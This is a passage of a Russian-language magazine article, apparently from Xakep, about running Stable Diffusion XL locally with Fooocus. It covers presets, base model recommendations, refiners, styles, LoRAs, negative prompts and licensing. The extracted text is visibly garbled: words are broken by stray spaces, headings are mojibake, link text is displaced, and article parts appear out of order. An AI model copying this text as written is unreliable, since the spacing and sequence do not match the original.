 ['Fooocus V2', 'Fooocus Photograph', 'Fooocus Negative']Styles:

Ней росети ушел зап рос Fooocus V2 Expansion с негатив ными клю чевы ми сло- 
вами из Negative Prompt. А сле дующая за ней кар тинка была уже с дру гим
зап росом:

«
»

Fooocus V2 Expansion: a woman holding a gun stands in a desert 1800's
America Western town, still, cinematic, dramatic ambient, intricate
detailed, sharp focus, elegant, highly detail, polished, extremely scientific,
magical, mystical, historic royal, full color, artistic, deep aesthetic, very
inspirational, original, holy, scenic, fascinating, epic, great creative,
thought, fancy, iconic

Та ким обра зом, с нас трой ками по умол чанию Fooocus самос тоятель но
модифи циру ет твои зап росы по алго рит му, похоже му на тот, что исполь зует ся
в ком мерчес ких онлай новых ней росетях. Если тебя не устра ивает такое
поведе ние, то мож но отклю чить стиль Fooocus V2 из вклад ки Advanced →
Styles.

ÏÐÎÄÂÈÍÓÒÛÅ ÂÎÇÌÎÆÍÎÑÒÈ

В Fooocus есть и допол нитель ные воз можнос ти, дос тупные, если отме тить
галоч ку Advanced.

На вклад ке Settings мож но выб рать жела емое соот ношение сто рон и раз- 
решение (впро чем, есть рекомен дован ный раз работ чиками Stable Diffusion

).на бор
 — это количес тво ите раций алго рит ма. Чем боль ше шагов, тем

более деталь ным может получить ся изоб ражение.

• Speed

 — чис ло генери руемых в пакете вари антов изоб ражения.
По умол чанию генери рует ся две кар тинки, мож но задать от 1 до 32.

• Image Number

 — уже запол ненное поле с отри цатель ными клю чевы ми

сло вами. Обра ти вни мание, что Fooocus уже запол няет это поле за тебя.
Не зай дя на вклад ку Advanced, ты об этом, ско рее все го, и не узнал бы.

• Negative Prompt

Как использовать негативные ключевые слова?
Цен ность негатив ных клю чеви ков несом ненна, но их очень час то понима ют
и исполь зуют неп равиль но, без нуж ды засоряя зап рос сло вами вро де bad
hands, bad anatomy, ugly, deformed. Stable Diffusion совер шенно не инте рес но
спе циаль но соз давать bad hands и bad anatomy, и их перечис ление в спис ке
клю чевых слов в боль шинс тве моделей бес полез но: все подоб ные вхож дения
дав но име ют отри цатель ный вес в самой модели. Да, их упо мина ние может
(слу чай но) изба вить от проб лемы в кон крет ном изоб ражении — но, во-пер- 
вых, та же проб лема может воз никнуть вновь в дру гих кар тинках, а во-вто рых,
такого же слу чай ного эффекта мож но добить ся неболь шим изме нени ем
любого дру гого парамет ра.

Не гатив ные клю чевые сло ва сто ит исполь зовать, в точ ности понимая
зачем. Один слу чай — ког да нуж но допол нитель но уси лить задан ный
в основном зап росе стиль (нап ример, при фоторе алис тичном зап росе заб- 
локиро вать anime, cg, render). Дру гой — ког да нуж но убрать какую-то кон крет- 
ную деталь или объ ект, который в про тив ном слу чае будет при сутс тво вать
в изоб ражении. Прос той при мер: при исполь зовании сти ля Midjourney в кар- 
тинках воз ника ет избы ток бирюзо вого цве та; его мож но лег ко убрать,
добавив сло во teal в негатив ный зап рос.

В то же вре мя отри цатель ные сло ва, несом ненно, вли яют на финаль ное
изоб ражение, осо бен но ког да их мно го или они «силь ные». Увлекшись ими,
мож но как добить ся иде аль ного резуль тата, так и получить кар тину «чер ный
квад рат» или совер шенно дефор мирован ное, «рых лое» изоб ражение, соз- 
данное из остатков того, что не попало под негатив ные клю чевые сло ва.

На конец, под полем Negative Prompt при таилась малоза мет ная галоч ка с под- 
писью . По умол чанию она выб рана. Если ее снять, появит ся воз- 

можность выб рать не слу чай ный, а фик сирован ный сид ( ). Это может

понадо бить ся в двух слу чаях: если ты хочешь в точ ности вос создать ранее
сге нери рован ное изоб ражение (его сид всег да дос тупен в фай ле )

и если ты хочешь изу чить, как пов лияет на финаль ную кар тинку изме нение
тек сто вого зап роса (в этом слу чае не забудь отклю чить стиль Fooocus V2:
этот стиль динами чес кий, он будет менять ся от зап роса к зап росу). По окон- 
чании экспе римен тов не забудь вер нуть сид в слу чай ное зна чение.

Random

seed

log.htm

На этом пока закон чим рас смот рение рас ширен ных воз можнос тей Fooocus,
но погово рить еще есть о чем, так что про дол жение сле дует.

ÍÅÄÎÑÒÀÒÊÈ FOOOCUS

Один из основных недос татков Fooocus — единс твен ный алго ритм повыше- 
ния раз решения (upscaling), который к тому же нуж но исполь зовать вруч ную.

До опре делен ного момен та изоб ражения как бы не сущес тву ет; весь про- 
цесс «дис тилля ции» про исхо дит в латен тном прос транс тве. «Вытащить» отту- 
да изоб ражение озна чает перевес ти его из латен тно го прос транс тва в прос- 
транс тво пик селей. Как толь ко изоб ражение «вытащи ли» в прос транс тво пик- 
селей, новых деталей в нем уже не появит ся: их мож но толь ко «додумать»,
осно выва ясь на том, что уже есть, — самом изоб ражении, тек сто вом зап росе
и модели.

На этом прин ципе осно ваны все «интеллек туаль ные» сис темы повыше ния
раз решения — такие как мощ ный инс тру мент  или ори енти рован ный
на рисован ные изоб ражения (и даже ани мации!) .
На этом же прин ципе работа ет апскей лер в Fooocus: уже готовое пик сель ное
изоб ражение заг ружа ется в пост про цес сор (img2img), в котором и про исхо- 
дят пос леду ющие манипу ляции.

chaiNNer
Waifu2x Extension GUI

Есть и дру гой под ход — повыше ние раз решения в латен тном прос транс- 
тве, еще до того, как изоб ражение будет переве дено в пик сели. При этом
под ходе допол нитель ные детали не воз ника ют из ничего: их соз дает всё та
же модель, которая выдала изна чаль ное изоб ражение. Оче вид но, что так
сде лать мож но толь ко во вре мя генера ции, но не пос ле нее — с уже готовой
кар тинкой. Под робнее и с при мера ми об этом мож но почитать в 
на Civitai.

статье

По ка что отме тим: в Fooocus такой опции нет. А где есть? В дру гих, более
слож ных про дук тах — нап ример, в AUTOMATIC1111, в котором дос тупен выбор
из мно жес тва моделей повыше ния раз решения от стан дар тных до латен тных
вклю читель но.

Да лее — про цесс «исправ ления» лиц и конеч ностей, который в Fooocus
тре бует руч ного вме шатель ства и исполь зует пусть и очень хорошую,
но внеш нюю модель. В AUTOMATIC1111 мож но делать это авто мати чес ки —
и нам ного луч ше: спе циали зиро ван ное рас ширение авто мати чес ки рас- 
позна ет в кад ре лица (а если нуж но, то и конеч ности) и зас тавит сис тему
в мак сималь ном дос тупном раз решении заново сге нери ровать тайл,
в котором находит ся лицо, исполь зуя ту же модель и тот же зап рос, что и в
основной генера ции. Пос ле это го исправ ленный тайл бес шовно встра ивает- 
ся в основную кар тинку. Пре иму щес тва такого под хода не толь ко в авто мати- 
зации про цес са, но и в более высоком качес тве резуль тата.

В Fooocus прак тичес ки нет воз можнос тей рас ширения. Наконец, не всем
подой дет рабочий про цесс, ори енти рован ный на соз дание нес коль ких «чер- 
новиков» на пер вом шаге и пос леду ющую руч ную «доработ ку напиль ником»
одно го-двух пон равив шихся вари антов.

ÄÎÑÒÎÈÍÑÒÂÀ

С дру гой сто роны, Fooocus исклю читель но прост в исполь зовании, а его сис- 
тема рас ширения зап роса офлай новым GPT-подоб ным  (стиль

) уни каль на сре ди подоб ных про ектов и впол не спо соб на соз дать
кон курен цию Midjourney.

ал горит мом
Fooocus V2

Fooocus иде ален в сво ей нише: это прос той инс тру мент, прек расно под- 
ходящий для началь ного обу чения Stable Diffusion, поз воля ющий в один клик
соз давать шедев ры и обла дающий впол не дос таточ ными для мно гих и мно гих
поль зовате лей воз можнос тями нас трой ки. Он прек расно опти мизи рован (по
край ней мере, для карт Nvidia) и не тре бует ухищ рений для ста биль ной
работы даже на сла бых виде окар тах.

А вот ког да ты уже понял, чем основная модель отли чает ся от рефай нера,
для чего нуж ны LoRA и чем они отли чают ся от сти лей, что такое seed и на что
вли яет параметр CFG, — тог да мож но запус тить AUTOMATIC1111 и не
потерять ся в оби лии парамет ров.

Как дела с законностью?
Для лич ного исполь зования ты можешь соз давать любые кар тинки,
не наруша ющие законов стра ны, в которой ты находишь ся. А вот с пуб личным
исполь зовани ем соз данных изоб ражений дела обсто ят чуть слож нее. Твои
пра ва огра ничи вают ся лицен зиями всех про дук тов и моделей, которые были
исполь зованы в про цес се.

Ли цен зия самого Stable Diffusion дает тебе доволь но широкие пра ва, как и
лицен зии мно гих сбо рок. У Fooocus и AUTOMATIC1111 лицен зия GPL 3.0, у дру- 
гих про дук тов нуж но смот реть отдель но. У боль шинс тва моделей SDXL
с Civitai — лицен зия , которая так же дает дос таточ- 
но широкие воз можнос ти. У некото рых моделей лицен зии более жес ткие, так
что нуж но про верять.

CreativeML Open RAIL++-M

В то же вре мя  про тив раз работ чиков ряда ней росетей
набира ет обо роты. Напом ню, что око ло года назад худож ники 
про тив раз работ чиков ней росетей, обви нив тех в незакон ном исполь зовании
их твор чес тва для обу чения моделей.

су деб ный про цесс
по дали иск

Га ран тирован но лицен зион но чис тые изоб ражения сво им поль зовате лям
пред лага ют соз давать все круп ные фотобан ки, обу чив шие генера тив ные
модели на изоб ражени ях, на которые у них точ но есть необ ходимые пра ва.
Shutterstock , что фотог рафам за исполь зование их изоб ражений
будет вып лачивать ся ком пенса ция. С ана логич ным  выш ла
на рынок и Getty Images.

за явля ет
пред ложени ем

ÏÐÎÄÎËÆÅÍÈÅ ÑËÅÄÓÅÒ

Ког да я начинал статью о прог рамме, которая уста нав лива ется и запус кает ся
коман дой , име ет одно поле вво да и кноп ку Generate, мне пред став-
лялась, что текст вряд ли будет длин ным. Но, как это час то быва ет, текст быс- 
тро вышел из-под кон тро ля. Тема генера тив ного искусс твен ного интеллек та
чрез вычай но обширна, и рас ска зать в единс твен ной статье обо всем, о чем
хотелось, мне не уда лось.

run.bat

В зап ланиро ван ном про дол жении я собира юсь написать о том, какие
быва ют базовые модели, где их брать и на какие обра тить вни мание в пер вую
оче редь; о том, для чего нуж ны рефай нер (rener) и LoRA и как их исполь- 
зовать; как работа ют сти ли и чем они отли чают ся от LoRA; наконец, о том,
на что вли яют парамет ры Guidance Scale (он же — CFG value) и Image
Sharpness (это не о кон турной рез кости). Кто зна ет, воз можно, в будущем я
напишу о раз нице меж ду оран жевой кош кой, кош кой и апель сином, кош- 
копель сином и кош кой-апель сином. Не про пус ти!

https://github.com/lllyasviel/Fooocus/issues/1596
https://gofind.ai/stable-diffusion/sdxl-resolutions
https://github.com/chaiNNer-org/chaiNNer
https://github.com/AaronFeng753/Waifu2x-Extension-GUI
https://civitai.com/models/34192/ultra-sharp-high-contrast-tutorial-vaeandupscaler
https://huggingface.co/LykosAI/GPT-Prompt-Expansion-Fooocus-v2/tree/main
https://github.com/lllyasviel/Fooocus/discussions/117#raw
https://github.com/Stability-AI/generative-models/blob/main/model_licenses/LICENSE-SDXL1.0
https://stablediffusionlitigation.com/
https://xakep.ru/2023/02/03/artists-vs-ai/
https://support.submit.shutterstock.com/s/article/Shutterstock-ai-and-Computer-Vision-Contributor-FAQ?language=en_US
https://newsroom.gettyimages.com/en/getty-images/getty-images-launches-commercially-safe-generative-ai-offering
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Ес ли ты соберешь ся запус кать на сво ем
компь юте ре генера тив ные модели для соз- 
дания изоб ражений, то перед тобой вста- 
нет серь езная проб лема выбора: их мно- 
жес тво, и все они дают похожие, но все же
нем ного раз ные резуль таты. В этой статье
погово рим об этих отли чиях, а так же
о рефай нерах, сти лях, лорах и осо бен- 
ностях пром птин га.

Мы про дол жим изу чать воз можнос ти генера тив ной ней росети Stable Diffusion
XL, о которой я уже писал. В  мы осво или уста нов ку ней- 
росети на компь ютер, сге нери рова ли нес коль ко фоторе алис тичных изоб- 
ражений, поз накоми лись с общей бедой сов ремен ных ней росетей — паль- 
цами руки — и поп робова ли их испра вить.

пре дыду щей статье

В качес тве инс тру мен та по-преж нему будем исполь зовать Fooocus. В то
же вре мя эта статья — пос ледняя, где я его исполь зую. В сле дующий раз
перей дем на более прод винутую сбор ку — AUTOMATIC1111.

Последние новости генеративного ИИ
Ге нера тив ные ней росети раз вива ются со ско ростью мыс ли. Не успе ла вый ти
пре дыду щая статья, как новос ти посыпа лись слов но из рога изо билия.

Раз — и раз работ чики Fooocus выпус кают ,
свой собс твен ный опти мизи рован ный форк популяр ней шего AUTOMATIC1111.
Новая сбор ка про дол жает тра диции Fooocus — она работа ет «из короб ки»
и не тре бует доработ ки напиль ником, как ори гиналь ный про ект.

Stable Diffusion WebUI Forge

Два — и Stability AI, раз работ чики Stable Diffusion, выпус кают пред- 
варитель ную сбор ку нового поколе ния ней росети, , погонять
которую мож но пря мо в онлай не, но мож но и уста новить на свой компь ютер
по .

Stable Cascade

ссыл ке с GitHub
Три — и ком пания ByteDance, раз работав шая TikTok, выпус кает про ект

, который поз воля ет генери ровать изоб ражения за доли секун- 
ды — быс трее, чем SDXL Turbo, и с более высоким качес твом. К при меру, кар- 
тинка ниже была соз дана за восемь секунд в раз решении 2024 на 2024;
в стан дар тном для SDXL раз решении 1024 на 1024 изоб ражения соз дают ся
менее чем за секун ду. Базовую модель мож но  на сай те Hugging
Face, но луч ше ска чать модель  с Civitai
и исполь зовать ее локаль но (толь ко вни матель но озна комь ся с инс трук- 
циями — это важ но).

SDXL-Lightning

оп робовать
dreamshaperXL_lightningDPMSDE

И уже ког да я писал эту статью, приш ла совер шенно неожи дан ная новость:
Stability AI выпус тила , пока толь ко в виде превью для раз- 
работ чиков.

Stable Diffusion 3

В новой вер сии Stable Diffusion (кста ти, не сов сем понят но, как она соот- 
носит ся с релизом Stable Cascade) обе щают мно го хороше го, при этом поч ти
дос ловно идут по пун ктам из пресс-релиза Midjourney V6. 
впе чат ляют, но на то они и дем ки.

Пер вые при меры

ÐÀÇËÈ×Èß ÌÅÆÄÓ ÏÐÅÑÅÒÀÌÈ

В прош лый раз мы генери рова ли фоторе алис тичные изоб ражения, запус тив
Fooocus коман дой , одна ко фотог рафи ями Stable
Diffusion не огра ничи вает ся. Запус тив ней росеть коман дой , мы авто- 

мати чес ки перек лючим ся на дру гие, уни вер саль ные нас трой ки. Из стро ки
негатив ных клю чеви ков про падут тер мины, зап реща ющие художес твен ные
сти ли, а из спис ка под клю чен ных «лор» исчезнет та, которая отве чает
за фоторе алис тичность.

run_realistic.bat
run.bat

INFO

LoRA (Low-Rank Adaptation) — ком пак тные
модели, допол няющие основные.

При запус ке какого-либо фай ла Fooocus исполь зует нас трой ки из соот ветс- 
тву юще го пре сета (они лежат в пап ке ). По этой при чине
сто ит запус кать фай лы кор рек тной коман дой в зависи мос ти от типа изоб- 
ражений, которые ты собира ешь ся генери ровать.

Fooocus\presets

Раз уж мы загово рили о пре сетах, то раз ница меж ду фоторе алис тичны ми
( ) и основны ми ( ) нас трой ками такова.run_realistic.bat run.bat

В фоторе алис тичном пре сете базовая модель — realisticStockPhoto_v10,
лора — SDXL_FILM_PHOTOGRAPHY_STYLE_BetaV0.4, негатив ные клю чевые
сло ва — unrealistic, saturated, high contrast, big nose, painting, drawing, sketch,
cartoon, anime, manga, render, CG, 3d, watermark, signature, label, активные
по умол чанию сти ли — динами чес кий стиль Fooocus V2, а так же Fooocus
Photograph и Fooocus Negative.

В основном же пре сете, который запус кает ся коман дой , нас трой- 

ки дру гие. В качес тве базовой модели авто ры выб рали
 (хорошая уни вер саль ная модель),

лора —  (ее пред назна чение с дефол тной

нас трой кой — уве личи вать кон траст; на высоких весовых коэф фици ентах
может помочь генери ровать изоб ражения с глу боким чер ным цве том).
Никаких негатив ных клю чевых слов на сей раз нет, а в качес тве сти лей выс- 
тавлен набор из уже зна комо го динами чес кого улуч шай зера Fooocus
V2 и новых сти лей Fooocus Enhance и Fooocus Sharp.

run.bat

juggernautXL_version6Rundiffusion
sd_xl_offset_example-lora_1.0

Зна чение здесь име ет бук валь но всё, и нач нем мы с глав ного — выбора
базовой модели.

ÁÀÇÎÂÛÅ ÌÎÄÅËÈ

Ба зовая модель, или чек поинт, — это генера тив ная модель, исполь зуемая
для пре обра зова ния тек ста в изоб ражения алго рит мами Stable Diffusion.
В зависи мос ти от выбора модели на один и тот же зап рос с одним и тем же
сидом и про чими нас трой ками ты можешь получить как похожие изоб- 
ражения, выпол ненные в раз ных сти лях, так и совер шенно раз ные кар тинки.

В качес тве основных Fooocus под держи вает толь ко модели SDXL 1.0, а вот
в качес тве рефай нера (Rener) может исполь зовать как их, так и ста рые
модели от SD 1.5. О рефай нерах мы погово рим чуть ниже; пока что ты
можешь ска чать одну или нес коль ко моделей в допол нение
к , которую Fooocus ска чает авто мати- 

чес ки при запус ке . Сох ранять чек поин ты нуж но в пап ку 
 или в любую дру гую, если ты ука жешь к ней путь в фай- 

ле . Нап ример, так:

juggernautXL_version6Rundiffusion
run.exe Fooocus\

models\checkpoints
Fooocus\config.txt

"path_checkpoints": "d:\\Models\\Stable-Diffusion\", 

Пос ле это го мож но нажать Refresh All Files, и модель появит ся в спис ке.

Поч ти все модели в боль шей или мень шей сте пени осно ваны на самой пер- 
вой модели, которую выпус тила ком пания Stability AI. Они допол нялись
новыми дан ными, получен ными в резуль тате обу чения; авто ры ремик сов
добав ляли улуч шения и тон кие нас трой ки. В резуль тате раз ные модели могут
замет но раз личать ся меж ду собой как по общей ком позиции изоб ражения,
так и по качес тву кар тинки.

Ни же — неболь шое срав нение моделей по зап росу «photorealistic,
cinematic, close view of a redhead woman in 19th century clothing of a woman
mechanic xing a steampunk car» с под клю чен ным кас томным сти лем
Cinematic: «cinematic angle, cinematic lighting, highly detailed, amazing, nely
detailed, more realistic, Ultra HD 32k, cinematic, 4k, footage from an epic movie,
clear focus, detailed character design, ultra-high resolution, perfectly composed,
UHD».

Вот так отра бота ла модель Bastard V1:

А в галерее ниже — резуль таты дру гих моделей:

Мо дели: SoftFantasy Dark Edition, CineVisionXL By Socalguitarist Easily,
realisticStockPhoto v10

Мо дели: RaffaelloXL Real People 10, Yggdrasil V2 и mjLnir SDXL Lightning
v10

Об рати вни мание в пер вую оче редь на раз ницу в ком позиции. «Тем ная» Dark
Edition разитель но отли чает ся от «гол ливуд ской» CineVisionXL; фоторе алис- 
тичные модели пыта ются в реализм, модель Yggdrasil V2 вос созда ет
атмосфе ру, исполь зуя ори гиналь ную цве товую палит ру, а модель
mjLnirSDXLLightning_v10, хоть и напута ла с паль цами, сумела сге нери ровать
кар тинку все го за восемь ите раций (осталь ным моделям для это го пот- 
ребова лось сорок).

Где скачать модели
Ба зовых моделей раз ных типов и поколе ний мно жес тво, и далеко не все под- 
держи вают ся в Fooocus. В качес тве основной можешь взять одну из моделей
SDXL 1.0,  их мож но с сай та Civitai. В пра вом вер хнем углу сай та будет
зна чок «филь тр»; выбери нас трой ки, как на скрин шоте.

ска чать

С такими нас трой ками отоб ража ются все модели незави симо от воз раста (All
Time), толь ко базовые модели (Checkpoint), толь ко SDXL 1.0. Пос ледняя нас- 
трой ка (All) вклю чает отоб ражение как обу чен ных моделей (Trained), так
и ремик сов (Merge).

Мо дели быва ют двух типов: обу чен ные (Trained) и ремик сы (Merged). Обу чен- 
ными обыч но счи тают модели, автор которых нат рениро вал (обу чил) модель
на том или ином наборе изоб ражений. Впро чем, доволь но час то обу чен ными
моделя ми называ ют ремик сы, для которых раз работ чик про вел допол нитель- 
ное обу чение на отно ситель но неболь шом наборе дан ных.

С ремик сами про ще: их авто ры объ еди няют нес коль ко раз ных моделей
и лор с задан ными весовы ми коэф фици ента ми. Самый прос той при мер —
добав ление «фоторе алис тичной» лоры в одну из моделей, что допол нитель но
уве личит весовые коэф фици енты имен но фотог рафий.

В зависи мос ти от вку са, чувс тва меры и мас терс тва раз работ чиков
получа ются более или менее инте рес ные ремик сы. Моделей — тысячи,
переп робовать все невоз можно даже теоре тичес ки. Ты можешь прос то
отсорти ровать их по популяр ности, а можешь вос поль зовать ся моими
рекомен даци ями.

Продолжение статьи →
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STABLE DIFFUSION XL
ВЫБИРАЕМ МОДЕЛИ, РЕФАЙНЕРЫ,

ЛОРЫ И СТИЛИ

COVERSTORY  НАЧАЛО СТАТЬИ←

ÓÍÈÂÅÐÑÀËÜÍÛÅ ÌÎÄÅËÈ, ÏÐÈÃÎÄÍÛÅ ÄËß ÐÅÀËÈÇÌÀ

 — прек расно сба лан сирован ная модель, которая уме ет всё.
Мно гие авто ры ремик сов исполь зуют эту модель в качес тве осно вы.
AlbedoBase XL

 с сай та Tensor.Art — одна из луч ших про тес тирован ных
мной моделей. По качес тву она близ ка к Midjourney V6. Эта модель — резуль- 
тат сов мес тной работы двух раз работ чиков: Freek22 (автор нес коль ких
моделей семей ства Norsk) и Afroman4peace (автор мно гочис ленных моделей,
в том чис ле отличных моделей Hephaistos и Colossus XL).

Bastard Lord (SDXL)

, она же Reality Check XL, — обу чен ная модель с укло ном
в реализм. Спо соб на выдавать уни каль ные резуль таты, непохо жие на работу
дру гих моделей.

Brookers Style XL

 с сай та Tensor.Art — мощ ная модель, в сос тав которой вош ли
как дру гие модели того же авто ра (в том чис ле обу чен ные), так и некото рые
сто рон ние. Рекомен дую обра тить вни мание и на  это го авто ра
на том же сай те или на сай те Civitai.

Bifröst Project

дру гие модели

 и, что бы два раза не вста вать, «фотог рафичес кая» ,
«3D-муль тяш ная»  и «ноч ная»  того же авто ра —
сба лан сирован ные модели, отве чающие заяв ленным целям. Нап ример,
в «кинош ной» CineVisionXL даже самые прос тые зап росы выпол няют ся так,
как буд то кадр был пос тавлен гол ливуд ским режис сером — с соот ветс тву- 
ющим осве щени ем и динами кой.

CineVisionXL ProtoVision XL
DynaVisionXL NightVisionXL

 — сба лан сирован ный ремикс с укло ном в тур боре ализм
(не путать с реалис тичным реализ мом). Кста ти, рекомен дую обра тить вни- 
мание и на дру гие модели того же авто ра.

EnvyHyperrealXL01

 — нес мотря на то что это ремикс, мне не уда лось пов- 
торить резуль таты работы этой модели ни в одной дру гой. Харак терные чер ты
модели — детали зиро ван ные лица и тек сту ры, высокий мик рокон траст.

RaffaelloXL Real People

 — тебе уже дали пер вую вер сию этой модели в сос таве
Fooocus, но с тех пор выш ла вто рая. Это отличная обу чен ная реалис тичная
модель. Раз ницу меж ду пер вой и вто рой вер сиями мож но уви деть на при- 
мерах ниже.

Realistic Stock Photo

При мер пер вой вер сии

При мер вто рой вер сии

 — модель, обу чен ная на фотог рафи ях лиц. Спо соб на выдавать
неиз битые пор тре ты, непохо жие на сге нери рован ных фотомо делей. Но этим
дело не огра ничи вает ся: в модели — пол ный набор художес твен ных средств.

SDVN6-RealXL

Есть мно го дру гих дос той ных вни мания моделей; перечис лить все невоз- 
можно, да я и не став лю такой цели. Есть cherryPickerXL, Hephaistos NextGen,
Luna Mia, SoftFantasy Dark Edition и мно го дру гих инте рес ных моделей.

ÑÏÅÖÈÀËÈÇÈÐÎÂÀÍÍÛÅ ÌÎÄÅËÈ: ÀÍÈÌÅ

Ани меш ные модели отно сят ся к спе циали зиро ван ным, так как они работа ют
с собс твен ным син такси сом, о чем нуж но рас ска зать под робнее.

В Stable Diffusion 1.5 был единс твен ный кон вей ер тек сто вого декоде ра.
В целом модель работа ла луч ше, если ука зыва лись клю чевые сло ва через
запятую.

В Stable Diffusion XL исполь зует ся два кон вей ера: клас сичес кий CLIP-ViT/L
и OpenCLIP-ViT/G, спо соб ный рас позна вать зап росы на естес твен ном язы ке.
Базовая модель, выпущен ная Stability AI, под держи вает работу с обо ими кон- 
вей ера ми; соот ветс твен но, ремик сы, осно ван ные на этой модели, так же
работа ют как с клю чевы ми сло вами, так и с зап росами на естес твен ном язы- 
ке.

И тут приш ли любите ли кар тинок в сти ле ани ме. В качес тве источни ка кар- 
тинок для обу чения взя ли базы мно гочис ленных сай тов-booru, а там поч ти
для каж дой кар тинки ука заны наборы тегов: что изоб ражено, как, в каком сти- 
ле, кто автор. И все это в машино чита емом фор мате.

Со ответс твен но, в этих моделях основную работу выпол няет кон вей ер L,
а кон вей ер G оста ется прак тичес ки не при делах. Через какое-то вре мя эту
проб лему решили, исполь зовав оче ред ной искусс твен ный интеллект для про- 
цес са CLIP Interrogation, в рам ках которо го ИИ ана лизи рует изоб ражение
и выда ет тек сто вый зап рос для выб ранно го типа кон вей ера.

WWW

 (дос- 
тупны кон вей еры типов L, G и H из SD 2.0/2.1).
Де монс тра ция работы CLIP Interrogation

На выходе получи лись модели, обу чен ные на хорошо струк туриро ван ных
базах и допол ненные тек сто выми зап росами на естес твен ном язы ке, которые
были сге нери рова ны оче ред ным искусс твен ным интеллек том.

В резуль тате ани меш ные модели мак сималь но чет ко сра баты вают
на триг геры в виде клю чевых слов, но и обыч ные фра зы тоже понима ют (хоть
и через раз). Если твоя цель — кар тинки в ани меш ном сти ле, то спе циали- 
зиро ван ная модель поз волит получить более качес твен ный резуль тат с мень- 
шими уси лиями.

Ос новных ани ме-моделей две.
. Веро ятно, это самая популяр ная модель: для нее

сущес тву ют сот ни сти лей и лор. Если ты ска чаешь эту модель, сде лаешь зап- 
рос и получишь в резуль тате что-то нев нятное, серое и в условно трех мерном
сти ле — про читай под робную инс трук цию по ссыл ке выше, ука жи в зап росе
стиль (из  на GitHub), исполь зуй спе циали зиро ван ную лору
или один из . Напом ню толь ко, что лоры так же, как и сама модель,
дол жны быть в фор мате SDXL 1.0.

Pony Diffusion V6 XL

кол лекции
ре мик сов

 — име ет смысл почитать докумен тацию к этой модели 
 и .

Animagine 3.0 на
Hugging Face на сай те CagliostroLab

На осно ве каж дой из этих двух моделей соз дано огромное количес тво
ремик сов, в которых сра зу «из короб ки» будет исполь зован какой-нибудь
кон крет ный стиль.

Ес ли ты исполь зуешь A1111 или WebUI Forge, рекомен дую уста новить 
, которое пре дот вра тит появ ление арте фак тов при генера ции с эти- 

ми моделя ми.

рас- 
ширение

ÌÎÄÅËÈ-ÐÅÔÀÉÍÅÐÛ

Ког да выш ла пер вая базовая модель Stable Diffusion XL, ее раз работ чики пре- 
дус мотре ли воз можность на пос ледних шагах генера ции исполь зовать вто- 
рую, допол нитель ную модель для мел кой детали зации и исправ ления неболь- 
ших огре хов модели основной. Модели-рефай неру нет необ ходимос ти
качес твен но декоди ровать зап рос, ей впол не дос таточ но того изоб ражения
(в латен тном еще прос транс тве), которое до нее сге нери рова ла основная
модель.

Поль зовать ся рефай нером дос таточ но прос то: под клю чаем, выс тавля ем
весовой коэф фици ент (об этом чуть ниже) — про фит! Или нет.

Для начала про ясню воп рос с весовым коэф фици ентом. Циф ра ука зыва ет,
какую часть работы дол жна выпол нить  модель; оставшу юся часть

выпол нит рефай нер. То есть если ука зать коэф фици ент 0.8, как на скрин- 
шоте, то 80% генера ции выпол нит выб ранная модель albedobase, а оставши- 
еся 20% — модель realisticStockPhoto.

îñ íîâíàÿ

С боль шинс твом сов ремен ных моделей исполь зовать рефай нер
для допол нитель ной детали зации и исправ ления мел ких огре хов кар тинки,
как это было пре дус мотре но раз работ чиками, уже нет нуж ды; об этом же
пишут и сами раз работ чики моделей. Одна ко не сто ит забывать о кре атив ном
потен циале перек лючения на дру гую модель в про изволь но выб ранный
момент генера ции; не сто ит, одна ко, и пре уве личи вать зна чение это го потен- 
циала.

И пос леднее: если в качес тве основной Fooocus под держи вает толь ко
модели SDXL, то рефай нером могут быть как SDXL, так и SD 1.5.

Продолжение статьи →
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Вы бор сти лей дос тупен на вклад ке Style.

По сути, сти ли — это все го лишь рас ширения зап роса тем или иным набором
клю чевых слов. Все сти ли ста тич ны, за исклю чени ем сти ля Fooocus V2,
который исполь зует локаль ную вер сию GPT-подоб ного ИИ для динами чес- 
кого рас ширения зап роса (каж дый пос леду ющий обра баты вает ся отдель но,
и раз ные кар тинки даже в одном пакете будут сге нери рова ны с раз ными зап- 
росами). Сти ли мож но пред ста вить в сле дующем виде:

style_keyword1, style_keyword2, {prompt} . style_keyword3, style_
keyword4, style_keyword5 

Ко личес тво клю чевых слов не огра ниче но, но увле кать ся не сто ит. Пом ним
о лимите в 75 токенов, по дос тижении которо го стро ка зап роса будет раз- 
бита на нес коль ко, и мес то раз рыва ты не смо жешь про кон тро лиро вать.

Для всех пос леду ющих тес тов я отклю чил сти ли по умол чанию (глав ное —
динами чес кий стиль Fooocus V2), убрал все негатив ные клю чевые сло ва,
отклю чил все лоры и рефай нер. Для демонс тра ции раз ных сти лей я исполь- 
зовал один и тот же зап рос, одну и ту же модель и один и тот же сид.

Для срав нения сти лей я исполь зовал зап рос «photorealistic, cinematic,
close view of a redhead woman xing a steampunk car», модель
BastardV1 и сид 1125477473. Раз решение — 1024 на 1024 с пос леду ющим
удво ением раз мернос ти.

Так выг лядит изоб ражение безо вся ких сти лей:

А в галерее ниже исполь зуют ся раз ные сти ли — как из спис ка Fooocus, так
и те, которые я сос тавил самос тоятель но.

Это — мой собс твен ный стиль Cinematic

А это — встро енный стиль Fooocus Cinematic; замет но отли чает ся

Счи тает ся, что как-то так «рису ет» Midjourney V5

Пря мо радис тка Кэт получи лась

А тут Инди аной Джон сом пове яло

Стим панк-стим панк

И наконец, я про тес тировал и динами чес кий стиль Fooocus V2, допол ненный
сти лем Fooocus Masterpiece.

По лучив шаяся дама име ет мало обще го с авто меха ником

Про тес тировать  сти ли — огромная работа, но поль зовате ли в сети
регуляр но это про делы вают. Есть, нап ример, 
со срав нени ем всех сти лей в боль шой таб лице с кар тинка ми (его 
тоже дос той но вни мания).

âñå

за меча тель ный документ
об сужде ние

Кста ти, в таб лице для каж дого сти ля при водит ся и его пол ная рас шифров- 
ка.

ËÎÐÛ

Бла года ря лорам мож но научить поч ти любую базовую модель исполь зовать
ту или иную кон цепцию (нап ример — «лучи све та в пыль ной ком нате»), пер- 
сонажам или сти лям (нап ример, сти лям кон крет ных худож ников или нап- 
равле ниям живопи си), но этим дело не огра ничи вает ся.

Су щес тву ет класс лора-слай деров, которые поз воля ют, к при меру, 
, для чего дос таточ но прос то изме нить их весовой

коэф фици ент в ука зан ном раз работ чиком диапа зоне (иног да в доволь но
широких пре делах, начина ющих ся с отри цатель ных зна чений). Быва ют лоры,
ука зыва ющие ней росети на необ ходимость добавить детали зации или,
наобо рот, упростить кар тинку (нап ример, лора AddDetail).

ме нять
мас штаб изоб ражения

